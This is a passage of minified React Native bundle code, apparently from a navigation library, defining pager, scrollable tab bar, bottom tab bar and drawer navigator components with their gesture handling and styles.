babelHelpers.inherits(n,e),babelHelpers.createClass(n,[{key:\"componentWillMount\",value:function(){this._panResponder=p.PanResponder.create({onMoveShouldSetPanResponder:this._canMoveScreen,onMoveShouldSetPanResponderCapture:this._canMoveScreen,onPanResponderGrant:this._startGesture,onPanResponderMove:this._respondToGesture,onPanResponderTerminate:this._finishGesture,onPanResponderRelease:this._finishGesture,onPanResponderTerminationRequest:function(){return!0}})}},{key:\"componentDidMount\",value:function(){this._resetListener=this.props.subscribe(\"reset\",this._transitionTo)}},{key:\"componentDidUpdate\",value:function(e){e.navigationState.index!==this.props.navigationState.index&&this._transitionTo(this.props.navigationState.index)}},{key:\"componentWillUnmount\",value:function(){this._resetListener&&this._resetListener.remove()}},{key:\"render\",value:function(){var e=this.props,n=e.layout,t=e.position,i=e.navigationState,o=e.children,s=n.width,a=i.routes,l=[-1].concat(babelHelpers.toConsumableArray(a.map(function(e,n){return n}))),u=l.map(function(e){return s*e*(p.I18nManager.isRTL?1:-1)}),d=t.interpolate({inputRange:l,outputRange:u});return r.createElement(p.Animated.View,babelHelpers.extends({style:[h.sheet,s?{width:a.length*s,transform:[{translateX:d}]}:null]},this._panResponder.panHandlers),r.Children.map(o,function(e,n){return r.createElement(p.View,{key:i.routes[n].key,testID:i.routes[n].testID,style:s?{width:s}:n===i.index?p.StyleSheet.absoluteFill:null},n===i.index||s?e:null)}))}}]),n}(r.Component);c.propTypes=babelHelpers.extends({},l.SceneRendererPropType,{configureTransition:a.default.func.isRequired,animationEnabled:a.default.bool,swipeEnabled:a.default.bool,swipeDistanceThreshold:a.default.number.isRequired,swipeVelocityThreshold:a.default.number.isRequired,onSwipeStart:a.default.func,onSwipeEnd:a.default.func,children:a.default.node}),c.defaultProps={configureTransition:function(){return d},initialLayout:{height:0,width:0},swipeDistanceThreshold:120,swipeVelocityThreshold:.25},i.default=c;var h=p.StyleSheet.create({sheet:{flex:1,flexDirection:\"row\",alignItems:\"stretch\"}})},351);\n__d(function(t,e,n,l){Object.defineProperty(l,\"__esModule\",{value:!0});var a=e(52),o=babelHelpers.interopRequireWildcard(a),r=e(111),i=babelHelpers.interopRequireDefault(r),s=e(12),c=e(353),p=babelHelpers.interopRequireDefault(c),u=e(348),d=function(e){function n(t){babelHelpers.classCallCheck(this,n);var e=babelHelpers.possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,t));h.call(e);var l=0;if(e.props.scrollEnabled===!0){var a=e._getTabWidthFromStyle(e.props.tabStyle);(e.props.layout.width||a)&&(l=1)}else l=1;return e.state={offset:new s.Animated.Value(0),visibility:new s.Animated.Value(l),initialOffset:{x:e._getScrollAmount(e.props,e.props.navigationState.index),y:0}},e}return babelHelpers.inherits(n,e),babelHelpers.createClass(n,[{key:\"componentDidMount\",value:function(){this._adjustScroll(this.props.navigationState.index),this._positionListener=this.props.subscribe(\"position\",this._adjustScroll)}},{key:\"componentWillReceiveProps\",value:function(t){this.props.navigationState!==t.navigationState&&this._resetScrollOffset(t);var e=this._getTabWidthFromStyle(t.tabStyle);(this.props.tabStyle!==t.tabStyle&&e||this.props.layout.width!==t.layout.width&&t.layout.width)&&this.state.visibility.setValue(1)}},{key:\"componentDidUpdate\",value:function(e){var n=this;!this.props.scrollEnabled||e.layout===this.props.layout&&e.tabStyle===this.props.tabStyle||t.requestAnimationFrame(function(){return n._adjustScroll(n.props.navigationState.index)})}},{key:\"componentWillUnmount\",value:function(){this._positionListener.remove()}},{key:\"render\",value:function(){var t=this,e=this.props,n=e.position,l=e.navigationState,a=e.scrollEnabled,r=l.routes,i=l.index,c=this._getMaxScrollableDistance(this.props),u=this._getFinalTabWidth(this.props),d=u*r.length,h=[-1].concat(babelHelpers.toConsumableArray(r.map(function(t,e){return e}))),b=h.map(function(e){return t._getScrollAmount(t.props,e)*-1}),m=s.Animated.add(n.interpolate({inputRange:h,outputRange:b}),this.state.offset).interpolate({inputRange:[-c,0],outputRange:[-c,0],extrapolate:\"clamp\"});return o.createElement(s.Animated.View,{style:[f.tabBar,this.props.style]},o.createElement(s.Animated.View,{pointerEvents:\"none\",style:[f.indicatorContainer,a?{width:d,transform:[{translateX:m}]}:null]},this._renderIndicator(babelHelpers.extends({},this.props,{width:new s.Animated.Value(u)}))),o.createElement(s.View,{style:f.scroll},o.createElement(s.ScrollView,{horizontal:!0,keyboardShouldPersistTaps:\"always\",scrollEnabled:a,bounces:!1,alwaysBounceHorizontal:!1,scrollsToTop:!1,showsHorizontalScrollIndicator:!1,automaticallyAdjustContentInsets:!1,overScrollMode:\"never\",contentContainerStyle:[f.tabContent,a?null:f.container],scrollEventThrottle:16,onScroll:this._handleScroll,onScrollBeginDrag:this._handleBeginDrag,onScrollEndDrag:this._handleEndDrag,onMomentumScrollBegin:this._handleMomentumScrollBegin,onMomentumScrollEnd:this._handleMomentumScrollEnd,contentOffset:this.state.initialOffset,ref:this._setRef},r.map(function(e,l){var r=i===l,c=h.map(function(t){return t===l?1:.7}),d=s.Animated.multiply(t.state.visibility,n.interpolate({inputRange:h,outputRange:c})),b={route:e,focused:r,index:l},m=t._renderLabel(b),y=t.props.renderIcon?t.props.renderIcon(b):null,S=t.props.renderBadge?t.props.renderBadge(b):null,_={};_.opacity=d,y&&(m?_.paddingTop=8:_.padding=12);var g=s.StyleSheet.flatten(t.props.tabStyle),v=g&&\"undefined\"!=typeof g.width||a===!0,w={};v&&(_.width=u),g&&\"number\"==typeof g.flex?w.flex=g.flex:v||(w.flex=1);var x=e.accessibilityLabel||e.title;return o.createElement(p.default,{borderless:!0,key:e.key,testID:e.testID,accessible:e.accessible,accessibilityLabel:x,accessibilityTraits:\"button\",pressColor:t.props.pressColor,pressOpacity:t.props.pressOpacity,delayPressIn:0,onPress:function(){var e=t.props,n=e.onTabPress,a=e.jumpToIndex;a(l),n&&n(b)},style:w},o.createElement(s.View,{pointerEvents:\"none\",style:f.container},o.createElement(s.Animated.View,{style:[f.tabItem,_,g,f.container]},y,m),S?o.createElement(s.Animated.View,{style:[f.badge,{opacity:t.state.visibility}]},S):null))}))))}}]),n}(o.PureComponent);d.propTypes=babelHelpers.extends({},u.SceneRendererPropType,{scrollEnabled:i.default.bool,pressColor:p.default.propTypes.pressColor,pressOpacity:p.default.propTypes.pressOpacity,getLabelText:i.default.func,renderIcon:i.default.func,renderLabel:i.default.func,renderIndicator:i.default.func,onTabPress:i.default.func,labelStyle:s.Text.propTypes.style,style:i.default.any}),d.defaultProps={getLabelText:function(t){var e=t.route;return e.title?e.title.toUpperCase():null}};var h=function(){var e=this;this._isManualScroll=!1,this._isMomentumScroll=!1,this._renderLabel=function(t){if(\"undefined\"!=typeof e.props.renderLabel)return e.props.renderLabel(t);var n=e.props.getLabelText(t);return\"string\"!=typeof n?null:o.createElement(s.Text,{style:[f.tabLabel,e.props.labelStyle]},n)},this._renderIndicator=function(t){if(\"undefined\"!=typeof e.props.renderIndicator)return e.props.renderIndicator(t);var n=t.width,l=t.position,a=s.Animated.multiply(s.Animated.multiply(l,n),s.I18nManager.isRTL?-1:1);return o.createElement(s.Animated.View,{style:[f.indicator,{width:n,transform:[{translateX:a}]},e.props.indicatorStyle]})},this._getTabWidthFromStyle=function(t){if(e._tabWidthCache&&e._tabWidthCache.style===t)return e._tabWidthCache.width;var n=s.StyleSheet.flatten(e.props.tabStyle),l={style:t,width:n?n.width:null};return e._tabWidthCache=l,l},this._getFinalTabWidth=function(t){var n=t.layout,l=t.navigationState,a=e._getTabWidthFromStyle(t.tabStyle);return\"number\"==typeof a?a:\"string\"==typeof a&&a.endsWith(\"%\")?n.width*(parseFloat(a)/100):t.scrollEnabled?n.width/5*2:n.width/l.routes.length},this._getMaxScrollableDistance=function(t){var n=t.layout,l=t.navigationState;if(0===n.width)return 0;var a=e._getFinalTabWidth(t),o=a*l.routes.length,r=o-n.width;return Math.max(r,0)},this._normalizeScrollValue=function(t,n){var l=e._getMaxScrollableDistance(t);return Math.max(Math.min(n,l),0)},this._getScrollAmount=function(t,n){var l=t.layout,a=e._getFinalTabWidth(t),o=a*n+a/2,r=o-l.width/2;return e._normalizeScrollValue(t,r)},this._resetScrollOffset=function(t){if(t.scrollEnabled&&e._scrollView){var n=e._getScrollAmount(t,t.navigationState.index);e._scrollView&&e._scrollView.scrollTo({x:n,animated:!0}),s.Animated.timing(e.state.offset,{toValue:0,duration:150}).start()}},this._adjustScroll=function(t){if(e.props.scrollEnabled&&e._scrollView){var n=e._getScrollAmount(e.props,t);e._scrollView&&e._scrollView.scrollTo({x:n,animated:!1})}},this._adjustOffset=function(t){if(e._isManualScroll&&e.props.scrollEnabled){var n=e._getScrollAmount(e.props,e.props.navigationState.index),l=t-n;e._isMomentumScroll?s.Animated.spring(e.state.offset,{toValue:-l,tension:300,friction:35}).start():e.state.offset.setValue(-l)}},this._handleScroll=function(t){e._adjustOffset(t.nativeEvent.contentOffset.x)},this._handleBeginDrag=function(){e._isManualScroll=!0,e._isMomentumScroll=!1},this._handleEndDrag=function(){t.requestAnimationFrame(function(){e._isMomentumScroll||(e._isManualScroll=!1)})},this._handleMomentumScrollBegin=function(){e._isMomentumScroll=!0},this._handleMomentumScrollEnd=function(){e._isMomentumScroll=!1,e._isManualScroll=!1},this._setRef=function(t){return e._scrollView=t}};l.default=d;var f=s.StyleSheet.create({container:{flex:1},scroll:{overflow:\"web\"===s.Platform.OS?\"auto\":\"scroll\"},tabBar:{backgroundColor:\"#2196f3\",elevation:4,shadowColor:\"black\",shadowOpacity:.1,shadowRadius:s.StyleSheet.hairlineWidth,shadowOffset:{height:s.StyleSheet.hairlineWidth},zIndex:\"android\"===s.Platform.OS?0:1},tabContent:{flexDirection:\"row\",flexWrap:\"nowrap\"},tabLabel:{backgroundColor:\"transparent\",color:\"white\",margin:8},tabItem:{flexGrow:1,padding:8,alignItems:\"center\",justifyContent:\"center\"},badge:{position:\"absolute\",top:0,right:0},indicatorContainer:{position:\"absolute\",top:0,left:0,right:0,bottom:0},indicator:{backgroundColor:\"#ffeb3b\",position:\"absolute\",left:0,bottom:0,right:0,height:2}})},352);\n__d(function(e,r,s,t){Object.defineProperty(t,\"__esModule\",{value:!0});var l=r(52),a=babelHelpers.interopRequireWildcard(l),o=r(111),n=babelHelpers.interopRequireDefault(o),i=r(12),p=21,b=function(r){function s(){var r,t,l,a;babelHelpers.classCallCheck(this,s);for(var o=arguments.length,n=Array(o),i=0;i<o;i++)n[i]=arguments[i];return t=l=babelHelpers.possibleConstructorReturn(this,(r=s.__proto__||Object.getPrototypeOf(s)).call.apply(r,[this].concat(n))),l._handlePress=function(){e.requestAnimationFrame(l.props.onPress)},a=t,babelHelpers.possibleConstructorReturn(l,a)}return babelHelpers.inherits(s,r),babelHelpers.createClass(s,[{key:\"render\",value:function(){var e=this.props,r=e.style,s=e.pressOpacity,t=e.pressColor,l=e.borderless,o=babelHelpers.objectWithoutProperties(e,[\"style\",\"pressOpacity\",\"pressColor\",\"borderless\"]);return\"android\"===i.Platform.OS&&i.Platform.Version>=p?a.createElement(i.TouchableNativeFeedback,babelHelpers.extends({},o,{onPress:this._handlePress,background:i.TouchableNativeFeedback.Ripple(t,l)}),a.createElement(i.View,{style:r},a.Children.only(this.props.children))):a.createElement(i.TouchableOpacity,babelHelpers.extends({},o,{onPress:this._handlePress,style:r,activeOpacity:s}),this.props.children)}}]),s}(a.Component);b.propTypes={onPress:n.default.func.isRequired,delayPressIn:n.default.number,borderless:n.default.bool,pressColor:n.default.string,pressOpacity:n.default.number,children:n.default.node.isRequired},b.defaultProps={pressColor:\"rgba(255, 255, 255, .4)\"},t.default=b},353);\n__d(function(e,t,r,n){function l(e){var t=function(t){function r(){return babelHelpers.classCallCheck(this,r),babelHelpers.possibleConstructorReturn(this,(r.__proto__||Object.getPrototypeOf(r)).apply(this,arguments))}return babelHelpers.inherits(r,t),babelHelpers.createClass(r,[{key:\"render\",value:function(){return o.default.createElement(e[this.props.route.key],this.props)}}]),r}(u.PureComponent);return function(e){var r=e.route;return o.default.createElement(t,{key:r.key,route:r})}}Object.defineProperty(n,\"__esModule\",{value:!0}),n.default=l;var u=t(52),o=babelHelpers.interopRequireDefault(u)},354);\n__d(function(e,t,a,i){function r(e){var t,a,i=e.displayName||e.name;return a=t=function(t){function a(){var e,t,i,r;babelHelpers.classCallCheck(this,a);for(var o=arguments.length,n=Array(o),l=0;l<o;l++)n[l]=arguments[l];return t=i=babelHelpers.possibleConstructorReturn(this,(e=a.__proto__||Object.getPrototypeOf(a)).call.apply(e,[this].concat(n))),i._updateNavigationProps=function(e){i._childNavigationProps||(i._childNavigationProps={}),e.state.routes.forEach(function(t){var a=i._childNavigationProps[t.key];a&&a.state===t||(i._childNavigationProps[t.key]=(0,s.default)({dispatch:e.dispatch,state:t}))})},r=t,babelHelpers.possibleConstructorReturn(i,r)}return babelHelpers.inherits(a,t),babelHelpers.createClass(a,[{key:\"componentWillMount\",value:function(){this._updateNavigationProps(this.props.navigation)}},{key:\"componentWillReceiveProps\",value:function(e){this._updateNavigationProps(e.navigation)}},{key:\"render\",value:function(){return n.createElement(e,babelHelpers.extends({},this.props,{childNavigationProps:this._childNavigationProps}))}}]),a}(n.PureComponent),t.displayName=\"withCachedChildNavigation(\"+i+\")\",a}Object.defineProperty(i,\"__esModule\",{value:!0}),i.default=r;var o=t(52),n=babelHelpers.interopRequireWildcard(o),l=t(307),s=babelHelpers.interopRequireDefault(l)},355);\n__d(function(e,n,t,r){Object.defineProperty(r,\"__esModule\",{value:!0});var o=n(52),a=babelHelpers.interopRequireWildcard(o),l=n(12),i=n(346),s=n(357),c=babelHelpers.interopRequireDefault(s),p=function(e){function n(){var e,t,r,o;babelHelpers.classCallCheck(this,n);for(var i=arguments.length,s=Array(i),p=0;p<i;p++)s[p]=arguments[p];return t=r=babelHelpers.possibleConstructorReturn(this,(e=n.__proto__||Object.getPrototypeOf(n)).call.apply(e,[this].concat(s))),r._renderLabel=function(e){var n=r.props,t=n.position,o=n.navigation,i=n.activeTintColor,s=n.inactiveTintColor,c=n.showLabel,p=n.upperCaseLabel,b=n.labelStyle,d=n.allowFontScaling;if(c===!1)return null;var f=e.index,v=o.state.routes,C=[-1].concat(babelHelpers.toConsumableArray(v.map(function(e,n){return n}))),h=C.map(function(e){return e===f?i:s}),g=t.interpolate({inputRange:C,outputRange:h}),_=e.focused?i:s,y=r.props.getLabel(babelHelpers.extends({},e,{tintColor:_}));return\"string\"==typeof y?a.createElement(l.Animated.Text,{style:[u.label,{color:g},b],allowFontScaling:d},p?y.toUpperCase():y):\"function\"==typeof y?y(babelHelpers.extends({},e,{tintColor:_})):y},r._renderIcon=function(e){var n=r.props,t=n.position,o=n.navigation,l=n.activeTintColor,i=n.inactiveTintColor,s=n.renderIcon,p=n.showIcon,b=n.iconStyle;return p===!1?null:a.createElement(c.default,{position:t,navigation:o,activeTintColor:l,inactiveTintColor:i,renderIcon:s,scene:e,style:[u.icon,b]})},r._handleOnPress=function(e){var n=r.props,t=n.getOnPress,o=n.jumpToIndex,a=t(e);a?a(e,o):o(e.index)},o=t,babelHelpers.possibleConstructorReturn(r,o)}return babelHelpers.inherits(n,e),babelHelpers.createClass(n,[{key:\"render\",value:function(){var e=this.props;return a.createElement(i.TabBar,babelHelpers.extends({},e,{onTabPress:this._handleOnPress,jumpToIndex:function(){},renderIcon:this._renderIcon,renderLabel:this._renderLabel}))}}]),n}(a.PureComponent);p.defaultProps={activeTintColor:\"#fff\",inactiveTintColor:\"#fff\",showIcon:!1,showLabel:!0,upperCaseLabel:!0,allowFontScaling:!0},r.default=p;var u=l.StyleSheet.create({icon:{height:24,width:24},label:{textAlign:\"center\",fontSize:13,margin:8,backgroundColor:\"transparent\"}})},356);\n__d(function(e,t,n,r){Object.defineProperty(r,\"__esModule\",{value:!0});var o=t(52),i=babelHelpers.interopRequireWildcard(o),a=t(12),l=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this.props,t=e.position,n=e.scene,r=e.navigation,o=e.activeTintColor,l=e.inactiveTintColor,u=e.style,c=n.route,p=n.index,b=r.state.routes,d=[-1].concat(babelHelpers.toConsumableArray(b.map(function(e,t){return t}))),f=t.interpolate({inputRange:d,outputRange:d.map(function(e){return e===p?1:0})}),y=t.interpolate({inputRange:d,outputRange:d.map(function(e){return e===p?0:1})});return i.createElement(a.View,{style:u},i.createElement(a.Animated.View,{style:[s.icon,{opacity:f}]},this.props.renderIcon({route:c,index:p,focused:!0,tintColor:o})),i.createElement(a.Animated.View,{style:[s.icon,{opacity:y}]},this.props.renderIcon({route:c,index:p,focused:!1,tintColor:l})))}}]),t}(i.PureComponent);r.default=l;var s=a.StyleSheet.create({icon:{position:\"absolute\",top:0,left:0,right:0,bottom:0,alignItems:\"center\",justifyContent:\"center\"}})},357);\n__d(function(e,t,r,n){Object.defineProperty(n,\"__esModule\",{value:!0});var o=t(52),a=babelHelpers.interopRequireWildcard(o),l=t(12),i=t(357),s=babelHelpers.interopRequireDefault(i),c=t(325),p=babelHelpers.interopRequireDefault(c),u=t(326),b=babelHelpers.interopRequireDefault(u),d=parseInt(l.Platform.Version,10),f=\"ios\"===l.Platform.OS,g=d>=11&&f,v=function(e){function t(){var e,r,n,o;babelHelpers.classCallCheck(this,t);for(var i=arguments.length,c=Array(i),p=0;p<i;p++)c[p]=arguments[p];return r=n=babelHelpers.possibleConstructorReturn(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(c))),n._renderLabel=function(e){var t=n.props,r=t.position,o=t.navigation,i=t.activeTintColor,s=t.inactiveTintColor,c=t.labelStyle,p=t.showLabel,u=t.showIcon,b=t.isLandscape,d=t.allowFontScaling;if(p===!1)return null;var f=e.index,v=o.state.routes,y=[-1].concat(babelHelpers.toConsumableArray(v.map(function(e,t){return t}))),I=y.map(function(e){return e===f?i:s}),T=r.interpolate({inputRange:y,outputRange:I}),P=e.focused?i:s,w=n.props.getLabel(babelHelpers.extends({},e,{tintColor:P})),x=0;b&&u&&g&&(x=C);var L=0;return!b&&u&&g&&(L=h),\"string\"==typeof w?a.createElement(l.Animated.Text,{style:[m.label,{color:T,marginLeft:x,marginTop:L},c],allowFontScaling:d},w):\"function\"==typeof w?w(babelHelpers.extends({},e,{tintColor:P})):w},n._renderIcon=function(e){var t=n.props,r=t.position,o=t.navigation,l=t.activeTintColor,i=t.inactiveTintColor,c=t.renderIcon,p=t.showIcon,u=t.showLabel;return p===!1?null:a.createElement(s.default,{position:r,navigation:o,activeTintColor:l,inactiveTintColor:i,renderIcon:c,scene:e,style:u&&g?{}:m.icon})},n._renderTestIDProps=function(e){var t=n.props.getTestIDProps&&n.props.getTestIDProps(e);return t},o=r,babelHelpers.possibleConstructorReturn(n,o)}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this,t=this.props,r=t.position,n=t.navigation,o=t.jumpToIndex,i=t.getOnPress,s=(t.getTestIDProps,t.activeBackgroundColor),c=t.inactiveBackgroundColor,u=t.style,b=t.tabStyle,d=t.isLandscape,f=n.state.routes,v=[-1].concat(babelHelpers.toConsumableArray(f.map(function(e,t){return t}))),C=[m.tabBar,d&&g?m.tabBarLandscape:m.tabBarPortrait,u];return a.createElement(l.Animated.View,null,a.createElement(p.default,{style:C,forceInset:{bottom:\"always\",top:\"never\"}},f.map(function(t,p){var u=p===n.state.index,f={route:t,index:p,focused:u},C=i(f),h=v.map(function(e){return e===p?s:c}),y=r.interpolate({inputRange:v,outputRange:h}),I=(e.props.showIcon?\"flex-end\":\"center\",e._renderTestIDProps(f)||{}),T=I.testID,P=I.accessibilityLabel;return a.createElement(l.TouchableWithoutFeedback,{key:t.key,testID:T,accessibilityLabel:P,onPress:function(){return C?C(f,o):o(p)}},a.createElement(l.Animated.View,{style:[m.tab,d&&g&&m.tabLandscape,!d&&g&&m.tabPortrait,{backgroundColor:y},b]},e._renderIcon(f),e._renderLabel(f)))})))}}]),t}(a.PureComponent);v.defaultProps={activeTintColor:\"#3478f6\",activeBackgroundColor:\"transparent\",inactiveTintColor:\"#929292\",inactiveBackgroundColor:\"transparent\",showLabel:!0,showIcon:!0,allowFontScaling:!0};var C=20,h=15,m=l.StyleSheet.create({tabBar:{backgroundColor:\"#F7F7F7\",borderTopWidth:l.StyleSheet.hairlineWidth,borderTopColor:\"rgba(0, 0, 0, .3)\",flexDirection:\"row\"},tabBarLandscape:{height:29},tabBarPortrait:{height:49},tab:{flex:1,alignItems:f?\"center\":\"stretch\",justifyContent:\"flex-end\"},tabPortrait:{justifyContent:\"flex-end\",flexDirection:\"column\"},tabLandscape:{justifyContent:\"center\",flexDirection:\"row\"},icon:{flexGrow:1},label:{textAlign:\"center\",fontSize:10,marginBottom:1.5,backgroundColor:\"transparent\"}});n.default=(0,b.default)(v)},358);\n__d(function(e,t,r,n){Object.defineProperty(n,\"__esModule\",{value:!0});var o=t(52),a=babelHelpers.interopRequireDefault(o),i=t(12),l=t(310),u=babelHelpers.interopRequireDefault(l),d=t(304),s=babelHelpers.interopRequireDefault(d),f=t(344),c=babelHelpers.interopRequireDefault(f),p=t(360),b=babelHelpers.interopRequireDefault(p),w=t(361),D=babelHelpers.interopRequireDefault(w),m=t(366),R=babelHelpers.interopRequireDefault(m),C=t(342),g=babelHelpers.interopRequireDefault(C),h=i.Dimensions.get(\"window\"),H=h.height,q=h.width,v={drawerWidth:Math.min(H,q)-(\"android\"===i.Platform.OS?56:64),contentComponent:R.default,drawerPosition:\"left\",drawerBackgroundColor:\"white\",useNativeAnimations:!0},k=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=babelHelpers.extends({},v,t),n=(r.containerConfig,r.drawerWidth),o=r.drawerLockMode,i=r.contentComponent,l=r.contentOptions,d=r.drawerPosition,f=r.useNativeAnimations,p=r.drawerBackgroundColor,w=babelHelpers.objectWithoutProperties(r,[\"containerConfig\",\"drawerWidth\",\"drawerLockMode\",\"contentComponent\",\"contentOptions\",\"drawerPosition\",\"useNativeAnimations\",\"drawerBackgroundColor\"]),m=(0,c.default)(e,w),R=(0,c.default)({DrawerClose:{screen:(0,u.default)(m,e,t,g.default.DRAWER)(function(e){return a.default.createElement(b.default,e)})},DrawerOpen:{screen:function(){return null}},DrawerToggle:{screen:function(){return null}}},{initialRouteName:\"DrawerClose\"}),C=(0,u.default)(R,e,t,g.default.DRAWER)(function(e){return a.default.createElement(D.default,babelHelpers.extends({},e,{drawerBackgroundColor:p,drawerLockMode:o,useNativeAnimations:f,drawerWidth:n,contentComponent:i,contentOptions:l,drawerPosition:d}))});return(0,s.default)(C)};n.default=k},359);\n__d(function(e,r,t,n){Object.defineProperty(n,\"__esModule\",{value:!0});var o=r(52),a=babelHelpers.interopRequireWildcard(o),l=r(328),s=babelHelpers.interopRequireDefault(l),i=r(355),u=babelHelpers.interopRequireDefault(i),p=function(e){function r(){return babelHelpers.classCallCheck(this,r),babelHelpers.possibleConstructorReturn(this,(r.__proto__||Object.getPrototypeOf(r)).apply(this,arguments))}return babelHelpers.inherits(r,e),babelHelpers.createClass(r,[{key:\"render\",value:function(){var e=this.props,r=e.router,t=e.navigation,n=e.childNavigationProps,o=e.screenProps,l=t.state,i=l.routes,u=l.index,p=n[i[u].key],b=r.getComponentForRouteName(i[u].routeName);return a.createElement(s.default,{screenProps:o,component:b,navigation:p})}}]),r}(a.PureComponent);n.default=(0,u.default)(p)},360);\n__d(function(e,r,t,a){Object.defineProperty(a,\"__esModule\",{value:!0});var n=r(52),o=babelHelpers.interopRequireWildcard(n),i=r(362),s=babelHelpers.interopRequireDefault(i),p=r(307),l=babelHelpers.interopRequireDefault(p),u=r(365),c=babelHelpers.interopRequireDefault(u),d=function(e){function r(){var e,t,a,n;babelHelpers.classCallCheck(this,r);for(var i=arguments.length,s=Array(i),p=0;p<i;p++)s[p]=arguments[p];return t=a=babelHelpers.possibleConstructorReturn(this,(e=r.__proto__||Object.getPrototypeOf(r)).call.apply(e,[this].concat(s))),a._handleDrawerOpen=function(){var e=a.props.navigation,r=e.state,t=r.routes,n=r.index;\"DrawerOpen\"!==t[n].routeName&&a.props.navigation.navigate(\"DrawerOpen\")},a._handleDrawerClose=function(){var e=a.props.navigation,r=e.state,t=r.routes,n=r.index;\"DrawerClose\"!==t[n].routeName&&a.props.navigation.navigate(\"DrawerClose\")},a._updateScreenNavigation=function(e){var r=e.state.routes.find(function(e){return\"DrawerClose\"===e.routeName});a._screenNavigationProp&&a._screenNavigationProp.state===r||(a._screenNavigationProp=(0,l.default)({dispatch:e.dispatch,state:r}))},a._getNavigationState=function(e){var r=e.state.routes.find(function(e){return\"DrawerClose\"===e.routeName});return r},a._renderNavigationView=function(){return o.createElement(c.default,{screenProps:a.props.screenProps,navigation:a._screenNavigationProp,router:a.props.router,contentComponent:a.props.contentComponent,contentOptions:a.props.contentOptions,style:a.props.style})},n=t,babelHelpers.possibleConstructorReturn(a,n)}return babelHelpers.inherits(r,e),babelHelpers.createClass(r,[{key:\"componentWillMount\",value:function(){this._updateScreenNavigation(this.props.navigation)}},{key:\"componentWillReceiveProps\",value:function(e){if(this.props.navigation.state.index!==e.navigation.state.index){var r=e.navigation.state,t=r.routes,a=r.index;\"DrawerOpen\"===t[a].routeName?this._drawer.openDrawer():\"DrawerToggle\"===t[a].routeName?this._drawer.state.drawerShown?this.props.navigation.navigate(\"DrawerClose\"):this.props.navigation.navigate(\"DrawerOpen\"):this._drawer.closeDrawer()}this._updateScreenNavigation(e.navigation)}},{key:\"render\",value:function(){var e=this,r=this.props.router.getComponentForRouteName(\"DrawerClose\"),t=(0,l.default)({state:this._screenNavigationProp.state,dispatch:this._screenNavigationProp.dispatch}),a=this.props.router.getScreenOptions(t,this.props.screenProps);return o.createElement(s.default,{ref:function(r){e._drawer=r},drawerLockMode:this.props.screenProps&&this.props.screenProps.drawerLockMode||a&&a.drawerLockMode,drawerBackgroundColor:this.props.drawerBackgroundColor,drawerWidth:this.props.drawerWidth,onDrawerOpen:this._handleDrawerOpen,onDrawerClose:this._handleDrawerClose,useNativeAnimations:this.props.useNativeAnimations,renderNavigationView:this._renderNavigationView,drawerPosition:\"right\"===this.props.drawerPosition?s.default.positions.Right:s.default.positions.Left},o.createElement(r,{screenProps:this.props.screenProps,navigation:this._screenNavigationProp}))}}]),r}(o.PureComponent);a.default=d},361);\n__d(function(e,u,t,d){function f(e){return e&&e.__esModule?e:{default:e}}Object.defineProperty(d,\"__esModule\",{value:!0});var l=u(363),n=f(l);d.default=n.default},362);\n__d(function(e,t,n,r){function o(e){return e&&e.__esModule?e:{default:e}}function a(e,t){if(!(e instanceof t))throw new TypeError(\"Cannot call a class as a function\")}function i(e,t){if(!e)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!t||\"object\"!=typeof t&&\"function\"!=typeof t?e:t}function s(e,t){if(\"function\"!=typeof t&&null!==t)throw new TypeError(\"Super expression must either be null or a function, not \"+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}Object.defineProperty(r,\"__esModule\",{value:!0}),r.default=void 0;var l,p,u=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},d=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,\"value\"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),c=t(52),f=o(c),h=t(364),w=o(h),v=t(12),g=3,_=parseFloat(v.Dimensions.get(\"window\").width),y=_/2,b=.1,m=\"Idle\",D=\"Dragging\",C=\"Settling\",O=(p=l=function(e){function t(e,n){a(this,t);var r=i(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n));return r._onOverlayClick=function(e){e.stopPropagation(),r._isLockedClosed()||r._isLockedOpen()||r.closeDrawer()},r._emitStateChanged=function(e){r.props.onDrawerStateChanged&&r.props.onDrawerStateChanged(e)},r.openDrawer=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};r._emitStateChanged(C),v.Animated.spring(r.state.openValue,u({toValue:1,bounciness:0,restSpeedThreshold:.1,useNativeDriver:r.props.useNativeAnimations},e)).start(function(){r.props.onDrawerOpen&&r.props.onDrawerOpen(),r._emitStateChanged(m)})},r.closeDrawer=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};r._emitStateChanged(C),v.Animated.spring(r.state.openValue,u({toValue:0,bounciness:0,restSpeedThreshold:1,useNativeDriver:r.props.useNativeAnimations},e)).start(function(){r.props.onDrawerClose&&r.props.onDrawerClose(),r._emitStateChanged(m)})},r._handleDrawerOpen=function(){r.props.onDrawerOpen&&r.props.onDrawerOpen()},r._handleDrawerClose=function(){r.props.onDrawerClose&&r.props.onDrawerClose()},r._shouldSetPanResponder=function(e,t){var n=t.moveX,o=t.dx,a=t.dy;if(!o||!a||Math.abs(o)<g)return!1;if(r._isLockedClosed()||r._isLockedOpen())return!1;if(\"left\"===r.getDrawerPosition()){var i=_-(_-r.props.drawerWidth);if(1!==r._lastOpenValue)return n<=35&&o>0&&(r._isClosing=!1,!0);if(o<0&&Math.abs(o)>3*Math.abs(a)||n>i)return r._isClosing=!0,r._closingAnchorValue=r._getOpenValueForX(n),!0}else{var 